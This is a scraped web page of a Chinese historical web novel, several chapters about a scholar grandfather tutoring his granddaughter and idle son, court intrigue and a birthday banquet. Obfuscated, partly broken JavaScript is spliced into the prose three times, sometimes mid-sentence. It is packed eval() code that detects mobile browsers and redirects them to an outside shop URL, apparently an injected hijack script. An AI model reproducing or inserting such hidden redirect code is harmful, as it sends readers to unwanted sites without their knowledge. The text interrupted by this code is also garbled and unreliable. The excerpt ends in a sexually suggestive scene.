0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134433|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微翘,“厚颜无耻。” “……” 又是一阵诡谲的沉默。 在徐鉴实沉声吩咐人去书房拿戒尺时,徐九涣才不情不愿的将那银子交出来了。 小泱泱欢天喜地的收好,又朝亲爹哼一声,辫子都恨不得翘起来,被徐九涣屈指敲了下脑壳。 用过饭,泱泱照例跟着祖父去读书,回来时,脑袋耷拉着,一副霜打的茄子似的蔫儿哒哒的模样。 默默坐去廊下,望着月亮惆怅,倒豆子似的跟亲爹难过—— “乐极生悲啦,祖父念得我睡着了……” “噗哈哈哈哈哈……” 亲爹笑得好不大声。 泱泱默默捏紧小拳头,“我明日定好好听学!” . 徐鉴实书房灯油熬至三更晚,被小厮催促着去歇息。 他眉头紧皱,似与小厮絮叨不解,“你可觉我授课有误?” 小厮:? 他暗悄悄的咽了咽唾沫,道:“小的不过蒙受老爷恩典,识得几个字,旁的便不知道了。” 徐鉴实叹了声气,也没再说。 洗漱罢,躺在床上,徐鉴实瞧着月影帐子,许久都没睡着。 徐家出于晋陵,百年的清流士族。他们一房原是出自旁支偏房,祖宗受恩于皇天,官拜太傅,当了帝师,至如今,他也蒙受皇恩,说起来,满门三朝帝师,兴盛早已越过了主支去,不负祖宗。 然则,他膝下二子,次子公瑾有礼,学富五车,长子却是言行无状,不通六艺。 可徐鉴实犹记得,长子尚在襁褓时,便好似懂人声,颖悟绝伦。 他亲自替他开蒙,悉心教导,多年来颇费心血,盼着他有朝一日,蟾宫折桂。 奈何不遂人愿,此子叛逆非常。 读书不用功,眼高手低。旁人五岁读千字文,十岁能作诗。他嫌千字文无用,作诗无趣。 旁人自幼苦练骑射,他怕流矢伤着自个儿,骑马摔断腿,最是宝贝自己不过了。 夫人总是遗憾,膝下二子,没生得闺女,可此子娇贵得惹得夫人都嫌烦。 冬嫌冷,夏嫌热,屋里炭火冰鉴花费的银钱比他爹娘都多出两倍。非是锦缎被子不盖,屏风纹样不合心意便放去库房,玉石珍玩,瞧着合眼不顾金银几何都要买。 徐鉴实从前多训他,抽断了三把戒尺,也未将此子从喜奢华,好花鸟鱼乐的路上抓回来,乃憾事一桩。 后及冠之时,徐鉴实替他择‘自若’二字,是以‘泰山崩于前而色不变,麋鹿兴于左而目不瞬’之意,到头来,他却是‘一蓑烟雨任平生,也无风雨也无晴’的放浪自若。 如今瞧着泱泱,大有学她爹架势。 徐鉴实重重叹了声气。 如他所言,泱泱聪慧更甚她爹,而自古来,慧极必伤,徐鉴实愿她安乐,可也少不得要费心思教授许多道理。 可今夜,小姑娘听学听得打瞌睡,大抵……徐鉴实苦笑的扯扯唇角,不得不承认,他虽是为太傅,可课业讲授并不引人入胜。 暗夜中,徐鉴实沉沉呼出口气。 . 天暗微雨,暮色霭霭。 学宫散学时,徐鉴实收拾书卷,见底下一学生依端坐于案前,脚步微顿,过去问:“世子可是有惑?” 赵徵起身,双手交叠与太傅见礼,而后答:“太傅近日授课,与往常微异。” 徐鉴实稍怔,唇角动了动,问:“若让世子择其一,世子觉哪种好些?” 赵徵想了想,道:“徵,乳臭未干,年幼浅薄,不敢论太傅长短。若择其一,更喜如今。太傅引经据典,徵甚喜。” 徐鉴实:“多谢世子,雨天路滑,世子路上当心。” “是,谢太傅。” 一场秋雨一场凉,今日雨后,便是入了秋。 徐鉴实从学宫出来,望着雨幕片刻,缓缓舒了口气,踩着宫铃下值出宫了。 几日终有所成,教孙女去! 8. 第 8 章 汴京城连日阴雨,好容易待得放晴,徐九涣心也变得晴朗! 休!沐!啦! 院儿里静悄悄的。 徐九涣睡得日上三竿,醒来时天光大亮,丫鬟们听见摇铃响,这才步伐轻快的端着银盆热水的进来伺候。 “泱泱呢?”徐九涣用温热的巾子擦脸,问了句。 “大小姐一早便被老爷差人喊了去,早饭都是在正院用的,绿稚姐姐跟了去伺候。”小丫鬟道。 徐九涣不觉乐了声,难保没有幸灾乐祸的嫌疑。 丫鬟瞧他一眼,眼神颇怨,抿了抿唇不说了。 徐九涣慢慢悠悠的用过温着的早饭,晃去前院老头儿的书房,也没进去,在廊下便听得闺女朗朗读书声。他翘着唇角乐了会儿,轻手轻脚的溜出府去了。 “……亲戚故旧,老少异粮,妾御绩纺,侍巾帷房……”[1] 小泱泱两只小手捂住耳朵,“祖父,无聊哦~” 徐鉴实眼皮一跳,又来了又来了…… “泱泱,凡读书......须要读得字字响亮,不可误一字,不可少一字,不可多一字,不可倒一字,不可牵强暗记[2],你如今年纪小,千字文正适宜开蒙,要多读多写,才会日有进益,切记浮躁,不可与你爹学。”徐鉴实一字一顿,耐心道。 泱泱仰着脑袋望着他,苦兮兮道:“千字文无甚意思,百家姓也不过如此,我都识字啦~” 徐鉴实也看着她,心里叹声气,若是那逆子,他只管用戒尺管教便是,但是孙女乖乖软软的,他如何下得去手? 徐鉴实想了想,道:“泱泱,若你端正认真,今日我们便少学一个时辰,祖父带你出门去逛逛,可好?” 泱泱双手撑着小脸儿,大眼睛一眨不眨的瞧着他,“可今日本就是要读一整日书呐~两个时辰也不多啦~” 徐鉴实:…… 不好哄。 秋日未央,开着门窗,赏了半刻秋景。 徐鉴实瞧着孙女晃悠着小腿,吃完一碟澄沙团子和玫瑰酥饼,温和笑道:“不可贪多,晌午饭要用不下了。” 小泱泱喝了两口热茶溜溜缝儿,一副吃饱喝足的悠然自得的小闲模样,“晌午肚肚又饿啦~” 歇了半刻,小泱泱也勉强能读书啦。 倒是徐鉴实将那千字文放下了,从抽屉里翻出另一卷来,“泱泱既是不愿读千字文,那祖父给泱泱讲些旁的,可好?” “好!” 小泱泱激动拍手手。 “先秦之时,有位学者名曰庄子,一日,他与友人惠子在桥上游玩,鲢鱼出游从容,这句是说,欸,你瞧那鱼游的畅意,悠闲自得……” …… “来,跟祖父读,子非鱼,安知鱼之乐……” 华缨歪了歪脑袋,奶声奶气:“子非我,安知我吃鱼之乐?” 徐鉴实:! 忽的,秋阳里,一道响亮又洋洋得意的声儿传来—— “闺女!快来,爹钓到了一条胖头鱼,你想吃麻辣还是红烧?” 裤脚打着卷儿,鞋底满着泥的徐自若拎着条十斤重的鱼欢快跑来。 华缨手里的书一扔,喜滋滋:“来啦!” “……连日的雨,这瞧着这胖头鱼是被冲了上来,你爹我一钓一个准儿!” 小泱泱瞧瞧他满身的泥,打绺的头发,卷起的裤脚,小鼻子皱了皱,戳破道:“别吹牛嗷~” 徐鉴实攥紧书卷,怒目圆睁的瞪向门前! 这个逆子! 他的戒尺呢!!! . 晌午时分,碧云天升起缕缕炊烟。 用过饭,丫鬟们进来将碗盏撤下,伺候茶水。 徐鉴实抬眸瞥向那屁股一抬便要走的,沉声道:“自今日起,你与泱泱一道来我书房听讲。” “噗……”徐士钦被漱口的茶水呛得咳声不止,“爹,他、他……” 再是不济,又何至于与三岁小娃娃一同听讲? 但对上徐鉴实瞥来的目光,徐士钦将那后半截儿的话咽下,专心致志咳嗽去了。 徐九涣听笑了,扭头难以置信,“我如今二十有三,不是三岁。” 徐鉴实不与他掰扯这个,道:“你若不来,今日起,便断了你院子里的一应花销。” 徐九涣:…… 老头儿学坏了。 从前他可是不屑用这种手段的! 小泱泱捂着小嘴儿偷笑。 嘿嘿~ 父女俩走了。 徐士钦才低声劝道:“爹,您就是想规训大哥,也不必让他与泱泱一起吧?” 徐鉴实摇摇头,放下手中茶盏,道:“人之聪慧,便总觉得旁的不过尔尔,无甚意趣,你兄长天资聪颖,如今瞧着,泱泱更胜一筹。” 他说着,瞧了眼次子,又道:“我记得,从前为你开蒙之时,千字文百家姓,教授有月余,而如今泱泱学了不过短短十日,这两卷启蒙之物,于她就像是阿敏手中的鼗鼓。” 徐士钦脸上有些臊,嘀咕道:“我也只学了一月……” “今日我教她读庄子,读过一遍,她便记得了,竟是还能举一反三,如此之才,更要费些功夫。”徐鉴实道,“你兄长虽是不济,但这么些年,读书自是比泱泱多,知晓的也比她多,二人同读,方能激得泱泱更求知若渴。” 徐士钦:…… 姜桂之性,到老愈辣。 回院子歇息了不过半个时辰,徐鉴实派来催促的小厮便站在了门前。 “大小姐,该走了。”绿稚道。 小泱泱吃着甜瓜醒神儿,“不急~等等爹爹~” 话音刚落,正房门被人自内打开,一张满含怨气的脸露了出来。 小泱泱咧嘴笑,欢喜招手道:“爹爹走呀~去读书啦~” 徐九涣:。 学生来得比先生还晚,徐鉴实掀起眼皮瞧了眼,倒是没挑他们的理儿。 徐九涣不发一言的坐在了摆在旁边的桌椅前,怨气冲冠的瞥向自家老头儿。 徐鉴实没看他,瞧着泱泱坐好,才翻开书卷。 还是上午时讲授的庄子二则。 徐九涣惫懒的耷拉着脑袋,听了几句,眉头稍皱起,再听几句,脑袋抬起了。 “庄惠二人在哪儿同游?”他问。 徐鉴实扫他一眼,“凤阳濠梁。” 徐九涣捏拳,“那你怎不提及?” “此非要紧。”徐鉴实道,“泱泱年幼,知其道理便可。” 徐九涣:! 他不服!!! “……我幼时你可不是这般说的!” 徐鉴实唇角动了动,看向泱泱,解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134434|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“濠梁,是名曰濠水的桥上,庄子惠子二人,便是站在这濠水桥上看鱼。” “濠水在凤阳?”泱泱问。 徐鉴实颔首,“庄子就说,回到这问之初,你问我如何知晓鱼之乐,便是知晓我知道,如今告诉你,我是在濠水桥上知道的。” “‘汝安知鱼乐’云者,既已知吾知之而问我,我知之濠上也……” 徐鉴实欣慰颔首,瞧向长子,道:“你也读一遍。” 徐九涣:…… 哦。 他与那竹叶纹窗棂前的雪千岁,同是盆栽。 “爹爹读~我不笑话你~”泱泱贴心道。 呵呵。 徐九涣不看桌案书卷,瞧着她白生生的小肉脸,存了心的欺负小孩儿,将那庄子二则从头背到尾。 小泱泱眼睛都亮了! “喔~厉害哦~” 徐鉴实心口稍熨帖,此子勉强……尚可。 尚不过两日,徐鉴实便寻不到人了! 不是今晚同窗设宴,就是明晚同僚宴请,总有地儿能吃酒,也总有事忙! 徐士钦瞅着老爹的神色,迟疑道:“可要我……去将他逮回来?” 徐鉴实深吸口气,道:“不必,开饭吧。” . 楼里。 徐九涣竹著轻敲茶盏边沿,和着那珠帘后姑娘悠悠的琵琶声调子。 桌上皆是着锦缎,束金玉冠的爷,亮着嗓儿调笑,惹人耳畔泛热,鼻端脂粉压过了桌上酒菜香。 “这般坐着有甚意趣,一起啊。”有人促狭的朝徐九涣抬了抬眉, 徐九涣轻摇首,半阖着眼似是沉溺于那乐声。 “罢了,他从前便如此,哪回出来不是独坐着的?”有人笑劝说。 赵士宁与怀里坐着的舞姬偷了个香,端着酒盏晃过来徐九涣身侧,道:“别敲了,那琵琶女卖艺不卖身,听听得了。” 徐九涣半阖的眸子掀开一道缝,眼底猩红,漫不经心的笑道:“你当我是要如何?” 赵士宁瞧着他没说话,片刻,凑过头来低声道:“你……可是有隐疾?” 徐九涣无语睨着他。 “你不必瞒我,若是如此,我偷偷替你寻御医瞧瞧,”赵士宁道,“这世间哪有什么坐怀不乱的君子?那些个满腹经纶的,不定比我都会玩儿呢,你说泱泱是你闺女,可你又未娶妻,也没姬妾,哪个替你生的?” 赵士宁越说越深觉如此,抬手拍他肩膀,又道:“这档子事当真畅快的紧,你……” 徐九涣将他扒拉开,霍然起身,整了整衣摆道:“你们玩儿,我回去了。” 话音落,琵琶声骤停。 “欸——” 徐九涣抱起桌上赵士宁给的匣子,提着袍摆下了木梯去。 众人面面相觑,神色多惑。 赵士宁摆摆手,“太傅在家呢,他哪里敢晚归?” 众人笑笑,继续玩乐。 汴京城中的热闹,与四年前并无区别。 自官家消了宵禁,这汴河两岸的热闹便通宵达旦,灯火长明。 徐九涣是个混账子,从前与那些纨绔子弟混迹,这花楼也没少来,多是孟灵拎着棍子来揍他,才草草散了去。 可…… 徐九涣望着垂落的灯笼想,再不会有人来寻他了。 9. 第 9 章 入了凛冬,礼部忙了起来。 十二月初的万寿节,年节的宫宴。 一张张的条子往礼部递,便是众人皆知来‘闲着’的徐九涣,都领了颇多差事,忙得脚不沾地。 变故就发生在他下值时! 雪冷街寂的承天门前,他家的马车不在! 徐九涣深一脚浅一脚的走回家时,冻得脸青鼻肿时,那家子在吃拨霞供!!! 没等他!!! 他进来时,一张张脸上神色皆诧异。 宋喜飞快的眨了眨眼,“额……去给大爷将碗筷奉来。” “是。”小丫鬟脚步匆匆的跑了出去,连家里平日不可疾行的规矩都忘得一干二净,委实是…… 他家大爷的脸太吓人! “……你不是吃酒去了?”徐士钦目瞪口呆的问。 徐九涣站在门前狠狠一跺脚,跺得靴子底雪沫飞溅,“你还说!” 徐士钦心道不好—— “就是你!我往日都等你下值!你竟然不等我,还冤枉我去吃酒了!”徐九涣手往那茫茫雪景一指,凛凛道:“瞧见那三尺飞雪了吗!那是我的冤屈!!!” 几人:…… 徐鉴实轻咳了声,抬手压了压发颤的眼皮,“回来了,便去净手,过来坐下用饭。” 丫鬟悄悄的将碗筷摆好,便嗖嗖的退了出去。 “哼!”徐九涣气得胸膛起伏,“阿嚏!” 小泱泱爬下椅子,过来拉爹爹,哄道:“我们还没吃呢,不是剩饭啦~” 小姑娘手暖乎乎的,碰得他冻得似冰的的手也没松开,“泱泱给爹爹暖手~” “还是闺女好。”徐九涣哼声道。 徐士钦椅子被他经过时踹了脚,脸上讪讪也没吭声。 下值后他在马车等了两刻钟,也没等得徐九涣出来,当真是以为这厮又跑去吃酒了,便自个儿回来了。 谁知这人今儿倒是比他晚上这许多。 转念忽的想起,要到万寿节了,礼部是该忙了。 翌日,徐九涣便光明正大、理直气壮的告假了! 倒也非是装病,昨夜里便发了热,捱到清晨才让人去请了大夫来。 徐鉴实没过来,只让人将大夫请来问过两句,而后戴上官帽去内阁了。 礼部,周茌捏着袖袋里的条子,险些气得歪了鼻子,但只好声好气的将替徐九涣告假的徐士钦送了出去。 站在廊下许久,周茌折身进去,至晌午时,悄声的出了礼部衙门。 厢房里,铜锅沸腾,肉片放进去,如浪里雪白,转眼红透。 “殿下,莫不是徐鉴实那老贼知晓了吧?”周茌悄声问。 紫衣华服,满身尊贵的男人嫌恶的瞥他一眼,“他是狗吗?你尚未动作他便嗅到了味儿?” 周茌闭了嘴,垂了首。 “此事且先按下,暂观望两日,若是徐九涣回来,你便将这差事如初的交给他,若他当真要避过去,便先罢了,之后还有宫宴,他躲得了初一,躲不过十五,最迟明年,本王定要登上太子位。” “臣祝殿下早日达成所愿。”周茌替他斟酒,殷勤道。 不知筹谋的徐九涣,吃过一贴子药便睡了过去,直至晌午方才醒来。 锦被里暖烘烘的,小姑娘四仰八叉的睡得像个小猪。 徐九涣用过药睡得沉,都不知她何时跑了过来。 他抬手捏捏她的小鼻子,小姑娘张开嘴巴呼吸,也不知做甚美梦,仍不愿醒。 徐九涣将她抱起,摇铃唤了外间的丫鬟进来。 “主子,可是要用饭了?”小丫鬟问。 清晨便没用多少,腹中早已空空,徐九涣点头,“摆饭吧。” 片刻,泱泱伸着懒腰在他怀里醒来,揉揉惺忪的睡眼,“爹爹~” 徐九涣‘嗯’了声,替她将衣衫理理好,小肚子盖住,道:“何时过来的?” “绿稚姐姐说,爹爹病啦~”泱泱说着,一骨碌爬起来,小手捂住他额头,撇着嘴巴摇脑袋,“烫手手~” 徐九涣懒洋洋的‘嗯’了声,屈着条腿靠在枕上,手指抵着她的脑门儿,道:“你是大姑娘了,不能往我被子里钻,知道了?” 泱泱摇头,掰着手指头给他瞧,“泱泱才三岁~” “三岁也是大姑娘了。”徐九涣将她手合上。 “可院子里的姐姐说,大姑娘就能嫁人啦,泱泱何时嫁人?” “……起来,用饭去。” 今日风雪依旧未歇,灰蒙蒙的天瞧不见丁点亮光。 顾着徐九涣风寒染病,小厨房做的皆是清淡菜色。 绿稚提前让人将饭菜分开,以免主子将病气过给小姐去。 小泱泱吃着寡淡无味的饭菜,也不闹人,乖乖的吃完喝了碗汤,又爬去了榻上。 徐九涣吃过药,嘴里含了颗蜜饯儿去苦,趿拉着鞋过来,朝闺女拱起的小屁股上轻拍了下,“刚用过饭,别趴着。” 到底是病着,神思不济,徐九涣坐着跟闺女搭了片刻小木头,便昏沉沉的睡了过去。 风雪愈发的大。 绿稚扫落肩侧的雪进来,正欲言。 泱泱侧首,朝她摇摇头,放下半成型的小木屋,蹑手蹑脚的下榻来。 绿稚愣了一瞬,恍惚间仿佛瞧见了某个人。 泱泱出了内室,又往门前走了几步,才问:“绿稚姐姐可是有何事?” “……二夫人差人给主子送来些补身子的良草和汤。”绿稚也压着声道。 “收着吧,”泱泱说,“若非,怕是婶娘心里过意不去。” 绿稚与她见礼,退着步子出去打理了。 这才放觉,背后竟是悄声起了汗。 . 徐九涣这一告假,便告到了休沐。 周茌等得心焦,只能将手上之事吩咐了下去,放过这回。 这隆冬时节,徐家倒是做了场宴席,二小姐徐华敏的周岁宴。 并未大摆筵席,只是请了徐家交好的几家来吃席面,徐士钦亲近些的同僚,宋喜的娘家人,关起门来热闹一番。 最先到的,是武定伯府姚家的。 老夫人今日也来了,穿着一身枣红缂丝袄子,带着同色的抹额,瞧着精神矍铄。 徐家夫人故去了,如今内宅招待女眷的只有她外孙女,她虽是家族没落,但是年纪在,也可撑些场子。 几个儿媳今日也穿戴体面,搀扶着老夫人一同被迎进了府。 “又不是外人,你怀着孕,何苦亲自来迎?”老夫人心疼道。 宋喜前些日子被诊出了喜脉,已有两个多月的身孕,如今尚且瞧不出来什么,但她娘家是去传过喜的,自是知晓。 宋喜笑道:“也得多走走。” 一群人热热闹闹的往后院儿去。 跟着来做客的小子们,吵着嚷着问:“泱泱妹妹呢?” “时辰且早,泱泱过会儿来。”宋喜道。 . 天朗气清,徐九涣在院中凿木头,他的病没好利索,索性懒怠去待客,只等晌午吃席就是了。 他如此,徐鉴实也懒得规训他许多,由着他性子。 前院客盈满门,倒是显得后院寂寥些许。 徐九涣吹去木屑,扭头瞧向屋里擦拭弯刀的闺女,笑着打趣:“想你娘了?” 泱泱抬起脸瞧他,“爹爹不想吗?” 徐九涣动作一顿,抬眼望向湛蓝的天,片刻才答:“才不想呢,她都将我忘了。” 泱泱顺着他的目光去瞧,只见缓动流云,“可我想呢。” 时辰要到抓周时,父女俩才往前院去。 前堂坐着许多人,厚厚的红缎棉毯子上,小阿敏软乎乎的坐着,好奇的瞧着逗她的众人。 泱泱进来,福身与诸位夫人见礼,被宋喜喊去了身边坐。 众人互相对个眼神,顿时了然。 汴京城中,哪有什么秘密? 徐家大爷中秋时回来,带回来个女娃,各府都听过几句,只谁都没见过罢了,今儿倒是瞧见了,模样长得标致,举手投足间也有贵女小姐的骄矜,想来是徐家好生教养着的,倒不大像是传闻般,徐大爷与烟花女子厮混生的。 不过,这话儿也就是在心里过过罢了,没谁不顾主家颜面,存心说出来恶心人的。 宋喜腰后靠着两个软枕,往泱泱手里塞了颗橘子,温笑道:“你表哥表姐方才还念着你,去玩儿吧。” 一群小孩儿不爱听大人说话,扎堆儿的凑在里屋闹,几人晃着手喊她来。 泱泱‘嗯’了声,却是停在了小妹妹旁边。 这些时日她常来,原还勉强抱得动小妹妹,如今倒是抱不动了,可小妹妹咧着嘴儿,伸着手,就要她抱。 泱泱小小叹气,两只手搂住她摇摇晃晃的小身子,嘀咕道:“你胖啦~” 她今儿戴了只镶嵌宝石的云纹手镯,是爹爹拿回来的,说是豫王给她戴着玩儿的,泱泱很喜欢,这宝石与她见着豫王那晚,他冠子上的宝石一样漂亮! 衣袖随着动作往上缩了缩,那手镯露出来些。 有眼尖的妇人瞧见,神色顿时变了变,不着痕迹的又扫一眼,神色难言。 金手镯于她们这般勋贵人家不值当什么,可那手镯上的蓝宝石却是难寻。莫说是一个小姑娘,便是她们这些勋贵夫人也鲜少有。 似是察觉到什么,泱泱侧首瞧来,目光对上一瞬,那夫人心口一震,勉强与她扯唇笑笑。 泱泱淡漠扫她一眼,便收回了目光。 不过是打量罢了,不足为外人道。 抓周时,前院的男宾也过来了,嬷嬷拿出早先备好的东西在红缎子上摆开,徐士钦过去,将闺女抱着放在那红缎中间。 武定伯府的几个姐姐、哥哥们凑了过来,七嘴八舌的喊着小阿敏去抓。 有喊抓那头花的,也有喊抓银稞子的……闹人的紧,但也喜庆。 小阿敏被吵得瞧瞧这个,又看看那个,最后抓着一只银匙不松手,往嘴巴里送,惹得众人啼笑皆非,她睁着圆眼睛不明所以。 泱泱戳戳她的胖肚子,嘀咕道:“你都胖啦,还吃~” 小阿敏眉眼弯弯:“咯咯咯~” 徐鉴实目光和蔼,看看胖乎乎的小孙女,又瞧瞧长孙女,而后在一众人中瞧见了长子。 徐九涣也看见了老爹,眉梢轻挑的问:干哈? 徐鉴实瞪他一眼,招呼男宾去前院吃席。 冬日寒风凛冽,哪怕今日日头足,也被刮得脸冰凉。 徐鉴实想:阿敏得爹娘庇佑,万事皆足,也不知泱泱幼时可抓过周,又抓了什么…… 不知祖父所想的泱泱,一扭头瞧见张眼熟的脸。 “欸?世子!” 赵徵正欲走,闻声止步回首,看见了朝他跑过来的小姑娘。 徐家递出的帖子,自是没有送往王府的。 赵徵这个陵王世子,今日是跟着舅舅来的。 按理说,今日之周岁宴,苏家这般一等勋贵的镇国公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134435|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府,徐士钦一介五品官等闲也不够下帖子的,可碍于徐家祖上与苏家沾些故交,是以,先前递出帖子时,徐鉴实以自己的名帖下了帖。 泱泱小可怜儿,朋友无几,但她记得这个世子! 她都不要赔礼道歉啦,可他也没带她进去瞧瞧那个hai~ 赵徵:“徐大小姐。” “你也来我家吃席呀~”泱泱欢喜问。 赵徵颔首,瞧一眼走远的舅舅,道:“我们得过去了。” 他身侧还有个弟弟,这是舅舅膝下子嗣,他的表弟。 泱泱顺着他的视线也朝门外张望,疑惑道:“可是前面的席更好吃?” “我是男子,要坐外席。”赵徵耐心解释一句。 “可我们是小孩儿欸,小孩儿自己坐一桌!” 忽的,旁边冒出颗脑袋来,吃着栗子糖振振有词道。 这是姚家的小哥哥,几人都没跟着自个儿爹走,留在了房中。 泱泱点头,“祖父说,男女七岁不同席,我才三岁欸~” 后边儿立马跟上—— “我五岁!” “我四岁!” “我六岁!” “糟了,我七岁……” “喔~大哥去前面!” “我才不去,大人没意思。” 赵徵从未见过这般吵闹的小孩儿,便是在学宫,众人也没有震破天的嗓门儿。 他轻轻呼出口气,正欲再次告辞。 忽的,后背像是被个秤砣推搡了下,踉跄两步。 是瞧见丫鬟摆好膳食,一群人闹哄哄的跑去坐席。 泱泱没跑,她将赵徵从头瞧到脚,似是对他这般空竹杆似的身子不满意,皱着鼻子道:“世子,你有点虚。” 赵徵:…… “我都不会被四表哥撞到啦~”她又得意。 旁侧瞧见自家儿子撞着陵王世子的姚三夫人,顿时倒吸口气,一口牙险些咬碎了去! 昨儿他爹揍他屁股,她就不该拦着! 这塌天大祸啊! 她正犹豫可要上前道歉,便见泱泱推着人走了。 姚三夫人跟了两步,一瞧,顿又吸口凉气! 一群混小子都跟世子爷坐一桌啦?! 徐家的主子没有丫鬟布菜的习惯。 两个丫鬟侯在门外,便听得一道颐指气使的声儿—— “你给我布菜!” 小泱泱啃着甜甜的排骨,闻言抬眼,便见对面的小孩儿一副等着人伺候的架势。 “你都四岁啦,还不会吃饭啊?”小泱泱惊讶道。 说着,存了心的刺激人,她握着筷著夹了颗蚕豆,稳稳的放进嘴里,“简单呐~” 赵徵扫一眼她得意的眉眼,看向表弟,道:“你自己用饭。” “他不会~”泱泱说。 “我会!” “哟~了不得哦~” 赵徵:…… “你家的菜不好吃!”苏家的被她气得脸红,故意挑剔道。 泱泱咽下香喷喷的肉肉,舔去唇上沾到的酱汁,问:“那你觉得哪处的好吃?” “自是烧朱院的炙猪肉!”苏老八哼声道,又器满意得的说:“没吃过吧~你是你爹从外面带回来的野丫头,能吃过什么好东西,不过这些东西,便是觉得顶顶好了……” “苏遮!”赵徵厉声。 不过六岁的年纪,稚气未脱,可皱眉训人时,身上已然有了身居高位的凌厉。 桌上一群小孩儿顿时噤声,嘴巴里的肉都不敢嚼了,呆呆的望着他。 泱泱也被吓了一跳,抿着嘴巴,眼睛睁得圆溜溜。 “给徐大小姐道歉。”赵徵正颜厉色道。 苏老八不服! 可被他这般瞧着,唇嗫喏几下,还是从椅子上下来,像模像样的朝华缨作揖,“对不住。” “苏遮。” “……那话是我听小娘说的,对不住,不是嫌你粗野,”苏老八憋了憋,又极小声道:“你家的饭菜也挺好吃……” 赵徵眉微皱,起身与华缨作一揖,道:“对不住,家中对舍弟教导不足,口无遮拦,今日有负贵府之诚邀,改日舍下备薄酒,再给徐大小姐赔礼致歉,还望宽宥。” 两厢离得远些,那边女眷席上还未听得动静。 丫鬟犹豫,正欲去禀夫人,便听她们小姐开口了。 “备在烧朱院?”泱泱眨着清澈的眼睛问。 赵徵愣了下,而后颔首,“若你愿意……” “我要带着妹妹!” “好。” 泱泱满意了,握着筷著去夹云腿时,忽的想到什么,又抬眼,问重新落座的苏老八:“你为何喊你阿娘是小娘?” 苏老八:! 他嗖的扭头看向赵徵! 瞧见没! 她冒犯他嗷! “因为他阿娘是妾室,他是庶出,自是要喊正室夫人为母亲的。”姚家七岁表哥道。 泱泱‘哦’了声,似懂非懂道:“他有两个娘呀~” 苏老八眼含热泪瞧向赵徵:! 表哥!!! 赵徵唇微动。 小表姐扯扯华缨袖子,低声道:“泱泱莫艳羡,不是好事。” 赵徵闭上了嘴。 泱泱:“哦。” 不懂,等会儿问爹爹! 用过席面,赵徵与诸人颔首告辞。 苏老八是抹着眼泪走的。 他再不来徐家了! 10. 第 10 章 午后日光惬意,徐府门前车马盛。 迎来送往,皆是锦衣华服,面目含笑。 苏余兴满面红光道:“小徐大人留步就是,不必与我客气。” 徐士钦稍拱手,道:“街路雪融,国公爷慢行,世子殿下亦是。” “多谢。”赵徵还礼道。 道别后,苏家几人上了马车。 赵徵端坐一侧,瞧着满身酒气靠在软枕上的苏余兴,稍蹙眉,将方才宴席之间的事说了。 苏遮不可置信的望着他! 怎能出卖他?! 苏余兴抬手搭在儿子脑袋上,呼吸间,酒气散了满车,“你当真说了这话?” 苏遮急道:“我道歉了!” “你无诚心。”赵徵皱眉,面色端肃的拆穿道。 “我、我也没说错……”苏遮当真不服气,“她不就是自外面带回来的野丫头?我又没骂她!反倒是她骂我是小娘养的庶子!表兄你偏帮她!” “徐大小姐非是骂你,”赵徵唇动了动,将话咽了去,又说:“她只三岁,哪里知晓嫡庶?” 苏余兴揉了揉儿子的脑袋,打断表兄弟俩的争执,道:“阿徵,这是你亲表弟,日后也是你的左膀右臂。” 赵徵忽的不想说了。 “再者,你表弟也没说错,满汴京谁不知道,那徐家老大带回个野种?这话虽是不中听,但也无甚大碍。”苏余兴说着哼笑了声,又道:“咱们这种勋贵人家,你们兄弟俩与他们同桌而食,那都是给他们脸面。” 赵徵闻言不语,直至马车停在陵王府,他起身被小厮扶着下了马车,却是未如往常般,与他见一晚辈礼。 道不同,不相为谋。 赵徵转身进府,径直去了陵王院子。 “父王呢?” 院中管家迎上来道:“老奴见过世子,世子寻王爷可是有要事?” 赵徵默了默,道:“我半个时辰后再来。” 说罢,他折身出了院子。 衣裳沾染的酒气熏人,赵徵只差了小厮去与母妃报了声,自己回了院中去沐浴更衣。 管家也没敢耽搁,忙不迭的去了西处的一处院子,就见王爷身边跟着的侍卫在檐下守着。 他过去低声说了几句,侍卫步去门前,屈指叩门道:“王爷,世子寻您。” 房中动静停了一瞬,传来一道喑哑声。 “知道了。” 冬日里,门窗紧闭。 昏暗的光线落在窗棂处,紫金炉中香烟袅袅,嫣红的锦缎寝被夹杂着巴掌大的轻纱,胡乱堆在脚踏,纱帐半遮半掩。 一道宽厚的身影坐起,将纱帐掀开,身后一只藕臂攀附着他的肩,声音娇柔似水:“王爷急什么……” “别胡闹,”男人推开她,拢了拢身上的里衣,俯身穿鞋,瞧见她不高兴噘着嘴的娇样儿,在那高耸处揉了把,道:“本王晚些再来疼你。” “哼!”女子两只手臂搂住他的腰,将脸贴着他后背抱着,身躯一览无遗,娇声道:“妾不要晚些,就要王爷这会儿疼我。” 陵王轻拍她下,狎昵道:“怎的这般贪?乖些,本王与世子说过话便过来。” “世子不过六岁,能有什么正经事?”女子说着,一只手悄悄的伸去捏住了他的,“王爷疼疼妾~” 